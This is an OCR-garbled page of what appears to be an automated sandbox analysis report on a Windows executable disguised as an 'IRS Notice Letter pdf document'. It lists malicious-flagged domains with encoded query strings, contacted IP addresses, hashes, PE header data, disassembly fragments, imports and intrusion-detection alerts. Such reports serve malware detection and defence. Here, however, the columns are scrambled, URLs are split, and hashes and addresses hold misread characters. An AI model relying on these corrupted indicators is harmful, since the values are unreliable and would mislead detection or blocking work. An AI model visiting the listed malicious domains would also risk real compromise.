Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.vflat
.world/rcm/?
apD=vyU/
Tx1AyGq6P1
KbfXU5Q644
DJKO2cEur7
LuMmKZp7R4
jQtiLyITZY
D77zfTFNZc
1IMGYdg==&3
fo=iJBl4

www.brand
onprattdru
ms.com/nt8e/?
2dj=mo2
8pwJ51vR7I
KzcErLQfhe
WF/WLLCAp)
+7PDtKvhIC
MJgKvsKAXR
2M21SX93kS
u6T94&BR-L
nJ=YVJpeDOX

www.mack-
soldenfx.c
om/xle/?vT
dLK=zk2US6
ALLlc6argg
sfAZommmve
ES5A5NJASNJ
6UHH5r4rO0
ISbaliLhdL
50VRMJccMO
tfig8s/Q==
&S2J19Z=RR
cTylbXy0tX

WWw.Xtrem
emasksanit
izer.com/iic6/?
MZQL=
BeFFqPdhkf
o04YZUiluaY
YIXGELR26N
UuXp6kuOwP
mcSGsxxfxg
zZIIWRJrIN
h4urnk9mé&u
4ThA=cjlh2
bLhQXWA4VIC

www.alche
mdiagnosti
cs.com/s9zh/?
1bVLg=B
XHvwtdyFJ7
g92C4A5CUA
BOOHS50uji
c6t3+DR/Y4
ZUr9N/SujK
usNJSI910I
J6X200p&5j
U=t8BdyvA8CfOh

www.2ndst
ars.com/t052/?
NTxxQI
=kWAkelHGg
do7g3ENjcu
ZYWRtx6Um9
/M76c0CGs2
ORILVTEGV8
894Rb8BVKG
D2ny/bXwz&
Cj6LF=9rj018f

Www.messi
anicentert
ainment.co
m/2bb/?uFQ
I=kkXKsXZL
NI4gBgBMZn
LMx+MJLIOn
vMnQLQrcKe
3K73J7124W
XxrNtBiw99n
4y9XLDO1BP
&BTJt=fvRh
_IDXgxKpGD
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https://view.joesandbox.com/analysis/253952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253952/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid
https://view.joesandbox.com/analysis/253838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253838/html/none?idtype=webid
https://view.joesandbox.com/analysis/253638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253638/html/none?idtype=webid
https://view.joesandbox.com/analysis/253449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253449/html/none?idtype=webid
https://view.joesandbox.com/analysis/253445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253445/html/none?idtype=webid
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253440/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.aquat
icboxing.c
om/tabo/?D
81llv=X2Mte
tFOhVQIMV&
EIS=udg4Eq
CY1sGjuCFc
NjoUOkkiQe
G409kLCw/6
nZg/A67VP7
YDt57NxgCk
26dWA01v1R92

www.endpe
dophiles.c
om/ehxh/?M
fg=zzMqP3g
r9AVtiM4KA
G8KTXsRbsD
P8AWJ/7zGM
GcevxlaU9iw
irqdQaCWQ+
gUE2qqEedZ
3&uTxXo=hp
m8IT3hSIbTI81

www.franc
hisethings
.com/2kf/?
4h2=VnwHU&-
ZsT=FRucA
sUDO5vcOy1
xt8vuNCdNo
zwBi3I0B73
pDInINmCQs
1pGwWWBKT8e
viTh9ohGwS
ZkGTZJ41g==

www.inclu
sivefamily
bookshop.c
om/Owdn/?k
8Phg=w9i/r
11/0sAgFjs
7ySrF/IASYK
L7k42SXygb
wPI6tuPkKL
J9C1FUMoix
68d063dZax
OXH&v2=Wh0
xlrm

www.natio
nshiphop.c
om/hko6/?U
ISp=bvjd1h
RX9LEdQt&t
XUO=0Ekluw
cTzyLRILIE
QVULAWZRIM
6BrJQxm2nm
uYWQkJ+zlo
alKIdNyrAb
+1jTZSligtu4

www.truck
tiresdirec
t.net/qef6/?
Q2J=fjlp
dDePPPndHZ
&DOG=FQEtP
Skz80CxgXg
cOOi6rBllo
iOK2hGatG8
UTKVevdzK7
vsA0g45RKT
rPdIXQ+unlwNP

www.deeja
yatl.com/khm/?
LZnt=w
eorFEFAbZo
s1b3NmfMzL
qv4HDBNPJv
O10u/GA3R/
/5N2v27k50
EjwxclqlDj
ETw64WeGfn
TMw==&T48p
=Ntx0_bGx4
rOP6Nk
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https://view.joesandbox.com/analysis/253434/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253434/html/none?idtype=webid
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid
https://view.joesandbox.com/analysis/253428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253428/html/none?idtype=webid
https://view.joesandbox.com/analysis/253427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253427/html/none?idtype=webid
https://view.joesandbox.com/analysis/253422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253422/html/none?idtype=webid
https://view.joesandbox.com/analysis/253287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253287/html/none?idtype=webid
https://view.joesandbox.com/analysis/253245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253245/html/none?idtype=webid

Match

Domains

Match
www.aksaystudios.com
www.kobumsnetwork.com
www.myaarpdentalpln.com

ghs.googlehosted.com

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e www.deeja

yatl.com/khm/?
ohrXP=
weorFEFAbZ
0s1b3NmfMz
Lqv4HDBNPJ
vO10u/GA3R
/I5N2v27k5
OEjWxclpJT
/1PLON/P&Q
LO=uVvxtJA
0Xta09

o www.crowd

crew.info/Owdn/?
QzuP3V=KfvDIX0
H&BI=tXOTe
1FEWOWO0yVO
xQefLdNUt3
IESNM85tpQ
zglgCPzmTk
NhoYF4SOCp
ecoMutLP9Zb97

* www.crazy

vine.wine/t052/?
TTjO
AF=uFQDALM
XcjoOyvVQ&m
RYxt2k=/Gk
Of4KKZxg+V
6UBrDR+Egp
2P9CO+bLKi
QJEqWm1le/C
wbKIpvn8K5
DIBW8gaQNp
3y8hovOhPTQ==

°  www.empir

eplumbinga
ndheating.
com/s9zh/?
ATRPddU=0T
ONYVkogCO0z
2SAthoal.oX
NHp+LhJn8L
SVunJ+2mR2
NZOMMFNtyV
pAW6SGtsMB
PpY6p2&iX=
VDKTfFHhMF
gXPJb

® www.sprtn

cloud.com/ehxh/?
kRcDUId=jDZLtt
800gXanyHE
mbYdEJgkUO
Pdb6G3dF7i
OrwmwIMNdV
LCF60EKmMQI
Y3+hpCU2t1
sylqaiSg==
&179D=p2Jp
VPJIHKZmI3dvp

Context
e 147.255.30.94
e 104.24.110.68
e 199.59.242.153
e 216.58.198.51
e 216.58.198.51
e 172.217.168.83

e 172.217.168.83
e 172.217.168.83
e 172.217.168.83
e 172.217.23.147
e 172.217.168.51
e 172.217.168.51
e 172.217.23.147
e 172.217.23.147
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https://view.joesandbox.com/analysis/253244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253244/html/none?idtype=webid
https://view.joesandbox.com/analysis/253241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253241/html/none?idtype=webid
https://view.joesandbox.com/analysis/253239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253239/html/none?idtype=webid
https://view.joesandbox.com/analysis/253237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253237/html/none?idtype=webid
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253431/html/none?idtype=webid
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252472/html/none?idtype=webid
https://view.joesandbox.com/analysis/252400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252400/html/none?idtype=webid
https://view.joesandbox.com/analysis/252323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252323/html/none?idtype=webid
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid
https://view.joesandbox.com/analysis/252210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252210/html/none?idtype=webid
https://view.joesandbox.com/analysis/249615/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249615/html/none?idtype=webid
https://view.joesandbox.com/analysis/249614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249614/html/none?idtype=webid
https://view.joesandbox.com/analysis/249107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249107/html/none?idtype=webid
https://view.joesandbox.com/analysis/248192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248192/html/none?idtype=webid

Match

ASN

Match
SAKURA-ASAKURAInternetincJP

CLOUDFLARENETUS

Copyright null 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash

=

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Get hash

Get hash

=

Get hash

=

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

=

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash
Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

Detection
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Link
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Context

172.217.168.83
216.58.207.51
172.217.18.179
216.58.208.51
216.58.207.51
172.217.168.83
172.217.16.179
216.58.208.51

172.217.16.179

Context

153.127.37.14

153.126.20
9.136

153.126.20
9.136

133.242.249.66

153.127.21
4.218

153.127.21
4.218

153.126.19
9.188

153.120.92.156
153.120.92.156
153.127.37.14
153.127.37.14

153.126.21
0.205

153.120.92.156
153.120.48.160
49.212.229.205

153.120.92.156

133.242.11
9.241

153.120.48.160

153.126.19
9.188

153.127.37.14

162.159.13
0.233

162.159.13
3.233

104.31.70.209
104.23.98.190

23.227.38.74
172.67.188.154
23.227.38.74
Page 20 of 39


https://view.joesandbox.com/analysis/247428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247428/html/none?idtype=webid
https://view.joesandbox.com/analysis/246236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246236/html/none?idtype=webid
https://view.joesandbox.com/analysis/245489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245489/html/none?idtype=webid
https://view.joesandbox.com/analysis/245486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245486/html/none?idtype=webid
https://view.joesandbox.com/analysis/245086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245086/html/none?idtype=webid
https://view.joesandbox.com/analysis/240405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240405/html/none?idtype=webid
https://view.joesandbox.com/analysis/240320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240320/html/none?idtype=webid
https://view.joesandbox.com/analysis/240054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240054/html/none?idtype=webid
https://view.joesandbox.com/analysis/239930/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239930/html/none?idtype=webid
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/246104/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246104/html/none?idtype=webid
https://view.joesandbox.com/analysis/246090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246090/html/none?idtype=webid
https://view.joesandbox.com/analysis/245771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245771/html/none?idtype=webid
https://view.joesandbox.com/analysis/244707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244707/html/none?idtype=webid
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid
https://view.joesandbox.com/analysis/235302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235302/html/none?idtype=webid
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234720/html/none?idtype=webid
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234440/html/none?idtype=webid
https://view.joesandbox.com/analysis/234064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234064/html/none?idtype=webid
https://view.joesandbox.com/analysis/232513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232513/html/none?idtype=webid
https://view.joesandbox.com/analysis/231529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231529/html/none?idtype=webid
https://view.joesandbox.com/analysis/231018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231018/html/none?idtype=webid
https://view.joesandbox.com/analysis/230415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230415/html/none?idtype=webid
https://view.joesandbox.com/analysis/230069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230069/html/none?idtype=webid
https://view.joesandbox.com/analysis/229028/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229028/html/none?idtype=webid
https://view.joesandbox.com/analysis/228757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228757/html/none?idtype=webid
https://view.joesandbox.com/analysis/224516/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224516/html/none?idtype=webid
https://view.joesandbox.com/analysis/253971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253971/html/none?idtype=webid
https://view.joesandbox.com/analysis/253952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253952/html/none?idtype=webid
https://view.joesandbox.com/analysis/253920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253920/html/none?idtype=webid
https://view.joesandbox.com/analysis/253907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253907/html/none?idtype=webid
https://view.joesandbox.com/analysis/253900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253900/html/none?idtype=webid
https://view.joesandbox.com/analysis/253893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253893/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
BODIS-NJUS Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
JA3 Fingerprints
No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:
Entropy (8bit):
TriD:

Copyright null 2021

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

104.27.138.99
104.27.201.87
104.27.201.87
104.31.71.209
172.67.188.154
104.28.5.151
104.28.5.151
172.67.218.107
104.18.87.101

172.67.188.154
172.67.188.154
104.16.173.80
104.28.5.151
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153

199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153

PE32 executable (GUI) Intel 80386, for MS Windows

5.479105905973935

Win32 Executable (generic) a (10002005/4)

99.15%

Win32 Executable Microsoft Visual Basic 6

(82127/2) 0.81%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)

(7/3) 0.00%
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https://view.joesandbox.com/analysis/253859/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253859/html/none?idtype=webid
https://view.joesandbox.com/analysis/253858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253858/html/none?idtype=webid
https://view.joesandbox.com/analysis/253857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253857/html/none?idtype=webid
https://view.joesandbox.com/analysis/253833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253833/html/none?idtype=webid
https://view.joesandbox.com/analysis/253818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253818/html/none?idtype=webid
https://view.joesandbox.com/analysis/253817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253817/html/none?idtype=webid
https://view.joesandbox.com/analysis/253816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253816/html/none?idtype=webid
https://view.joesandbox.com/analysis/253809/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253809/html/none?idtype=webid
https://view.joesandbox.com/analysis/253787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253787/html/none?idtype=webid
https://view.joesandbox.com/analysis/253784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253784/html/none?idtype=webid
https://view.joesandbox.com/analysis/253782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253782/html/none?idtype=webid
https://view.joesandbox.com/analysis/253780/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253780/html/none?idtype=webid
https://view.joesandbox.com/analysis/253754/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253754/html/none?idtype=webid
https://view.joesandbox.com/analysis/253927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253927/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251075/html/none?idtype=webid
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid
https://view.joesandbox.com/analysis/250590/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250590/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid
https://view.joesandbox.com/analysis/249441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249441/html/none?idtype=webid
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid
https://view.joesandbox.com/analysis/247830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247830/html/none?idtype=webid
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid

General
File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

push 004019C8h

call 00007FAF98DEDA4C3h

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

add byte ptr [ecx-OC8E2B36h], cl
jecxz 00007F4F98DED4F7h

dec edi
movsd

sahf

sar byte ptr [edi+02441594h], 1

add byte ptr [eax], al

Copyright null 2021

e0c4c26270faec04

0x401490
text
false
0x400000

windows gui

IRS Notice Letter pdf document.exe

106496

3fc4d64f320d 7fae4bb46f6a735ab853
b77666ebd649350f21ee41e0e902c9b95e008e3c

ec8b3d104a7fc416aab07329a5f0ecablb7fd181ffbd2d7a
c3laf51e532add07

7al5f684bda2af29dce7b23c1a0b933c4ad151525¢8200¢
7a43b82a3ac3bb30bed210c172727724300fa96fcf7ed2b
edffca9c0e93bceabf7d56bd21852d4d7e

768:Z1eiH1VLAOMVOKGIb5kUCzPyDyAtaMrXBjSMW7
gMINVGih7sZyjYrfLXgCBe570P:6s1ImOKGIt0zPyDTrR
2gwteDANfsO8

is program cannot be run in DOS mode....$....
...B.LN..B..."...B...d...B..Rich.B..

WPE.L...

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Ox5FFB81EA [Sun Jan 10 22:38:34 2021 UTC]

o & O A O »

731c57e7140be6290e90c27b6e4da29c
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Instruction

add byte ptr [eax], al

add byte ptr [eax], al

add dword ptr [eax], eax
add byte ptr [eax], al

add byte ptr [eax], al
fcomp dword ptr [edi+525003EAh]
dec edi

inc esp

push ebp

inc ebx

push esp

dec ecx

inc esp

add byte ptr [ecx+00h], al
and byte ptr [eax], cl

inc ecx

add byte ptr [eax], al

add byte ptr [eax], al

add bh, bh

int3

xor dword ptr [eax], eax
pop es

fdiv dword ptr [eax]

aas

pop esi

adc ebp, esi

and ecx, dword ptr [esi-48h]
ret

into

fisub word ptr [eax]

fsubr gword ptr [edi-41EC53F5h]
xchg eax, esp

push esp

or bl, byte ptr [ebp-46F775BFh]
jnc 00007F4F98DED542h
pop ss

stosd

cmp edi, dword ptr [edx]
dec edi

lodsd

xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h

stosb

add byte ptr [eax-2Dh], ah
xchg eax, ebx

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

test byte ptr [eax+eax], al
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Instruction

add byte ptr [ebx+03h], dI
add byte ptr [eax], al

add byte ptr [eax], cl

add byte ptr [edx+edx*2+49h], dI
inc esi

dec ecx

dec esp

inc ecx

push edx

add byte ptr [EE000901h], cl
outsd

outsh

imul esi, dword ptr [edx+65h], 0000006Eh

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x16b94 0x28 text
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x1a000 0Ox5fc .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x228 0x20

IMAGE_DIRECTORY_ENTRY_IAT 0x1000 0x118 text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 0x1607c 0x17000 False 0.357687245245 data 5.86532727168 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

data  0x18000 ox11d4 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x1a000 0x5fc 0x1000 False 0.15673828125 data 1.4944441595 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Name RVA Size Type Language Country

RT_ICON Oxla314 0x2e8 data

RT_GROUP_ICON 0x1a300 0x14 data

RT_VERSION 0x1a0f0 0x210 data English United States

Imports

DLL Import

MSVBVM60.DLL _Clcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, _ vbaStrVarMove, _ vbaFreeVarList, _adj_fdiv_m64,

__vbaFreeObijList, _adj_fprem1, _ vbaHresultCheckObj, _adj_fdiv_m32, _ vbaAryDestruct, _ vbaObjSet,
_adj_fdiv_m16i, _adj_fdivr_m16i, _Clsin, _ vbaChkstk, EVENT_SINK_AddRef, _ vbaGenerateBoundsError,
__vbaStrCmp, __vbaAryConstruct2, _ vbaCastObjVar, _adj_fpatan, _ vbalateldCallLd, EVENT_SINK_Release,
_Clsqgrt, EVENT_SINK_Querylinterface, _ vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, _ vbaFPException,
__vbal2Vvar, _Cllog, __vbaErrorOverflow, __vbaNew2, _ vbaVarLateMemCallLdRf, _adj_fdiv_m32i,
_adj_fdivr_m32i, __vbaStrCopy, _ vbaVarSetObj, _adj_fdivr_m32, _adj_fdiv_r, _ vbaVarTstNe, __ vbal4Var,
__vbalnStrB, __vbaVarDup, __ vbaStrComp, __vbaVarLateMemcCallLd, _Clatan, _ vbaStrMove, _allmul, _Cltan,
_Clexp, __vbaFreeStr, _ vbaFreeObj

Version Infos

Description Data

Translation 0x0409 0x04b0
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Description
InternalName
FileVersion
CompanyName
ProductName
ProductVersion

OriginalFilename
Possible Origin

Language of compilation system

English

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
01/11/21- TCP 1201
16:24:11.818810

01/11/21- TCP 1201
16:24:32.693470

01/11/21- TCP 2031453
16:24:48.117662

01/11/21- TCP 2031449
16:24:48.117662

01/11/21- TCP 2031412
16:24:48.117662

01/11/21- TCP 2031453
16:24:53.322417

01/11/21- TCP 2031449
16:24:53.322417

01/11/21- TCP 2031412
